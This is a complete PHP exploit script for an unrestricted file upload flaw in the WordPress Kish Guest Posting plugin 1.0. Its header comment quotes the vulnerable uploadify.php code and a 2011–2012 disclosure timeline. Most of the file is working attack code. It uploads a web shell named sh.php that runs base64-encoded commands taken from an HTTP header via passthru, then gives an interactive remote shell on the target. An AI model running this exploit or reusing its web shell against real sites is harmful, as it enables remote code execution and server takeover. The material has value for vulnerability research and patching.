WordPress Kish Guest Posting 1.0 Shell Upload

`<?php  
  
/*  
--------------------------------------------------------------------------------  
Wordpress Kish Guest Posting Plugin 1.0 (uploadify.php) Unrestricted File Upload  
--------------------------------------------------------------------------------  
  
author............: Egidio Romano aka EgiX  
mail..............: n0b0d13s[at]gmail[dot]com  
software link.....: http://kishpress.com/guest-posting-plugin/  
  
+-------------------------------------------------------------------------+  
| This proof of concept code was written for educational purpose only. |  
| Use it at your own risk. Author will be not responsible for any damage. |  
+-------------------------------------------------------------------------+  
  
[-] vulnerable code in /uploadify/scripts/uploadify.php  
  
26. if (!empty($_FILES)) {  
27. $tempFile = $_FILES['Filedata']['tmp_name'];  
28. $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';  
29. $targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];  
30. // $fileTypes = str_replace('*.','',$_REQUEST['fileext']);  
31. // $fileTypes = str_replace(';','|',$fileTypes);  
32. // $typesArray = split('\|',$fileTypes);  
33. // $fileParts = pathinfo($_FILES['Filedata']['name']);  
34.   
35. // if (in_array($fileParts['extension'],$typesArray)) {  
36. // Uncomment the following line if you want to make the directory if it doesn't exist  
37. // mkdir(str_replace('//','/',$targetPath), 0755, true);  
38.   
39. move_uploaded_file($tempFile,$targetFile);  
40. echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);  
41. // } else {  
42. // echo 'Invalid file type.';  
43. // }  
44. }  
  
Restricted access to this script isn't properly realized, so an attacker might be able to upload  
arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked.  
  
[-] Disclosure timeline:  
  
[19/12/2011] - Vulnerability discovered  
[19/12/2011] - Vendor notified through http://kish.in/contact-me/  
[07/01/2012] - No response from vendor, notified again via email  
[16/01/2012] - After four weeks still no response  
[23/01/2012] - Public disclosure  
  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
function http_send($host, $packet)  
{  
if (!($sock = fsockopen($host, 80)))  
die("\n[-] No response from {$host}:80\n");  
  
fputs($sock, $packet);  
return stream_get_contents($sock);  
}  
  
print "\n+----------------------------------------------------------------------------------+";  
print "\n| Wordpress Kish Guest Posting Plugin 1.0 Unrestricted File Upload Exploit by EgiX |";  
print "\n+----------------------------------------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] <host> <path>\n";  
print "\nExample....: php $argv[0] localhost /";  
print "\nExample....: php $argv[0] localhost /wordpress/\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
  
$payload = "--o0oOo0o\r\n";  
$payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n";  
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";  
$payload .= "--o0oOo0o--\r\n";  
  
$packet = "POST {$path}wp-content/plugins/kish-guest-posting/uploadify/scripts/uploadify.php?folder={$path} HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n";  
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";  
$packet .= "Connection: close\r\n\r\n{$payload}";  
  
if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n");  
  
$packet = "GET {$path}sh.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Cmd: %s\r\n";  
$packet .= "Connection: close\r\n\r\n";  
  
while(1)  
{  
print "\nkish-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
$response = http_send($host, sprintf($packet, base64_encode($cmd)));  
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");  
}  
  
?>  
  
`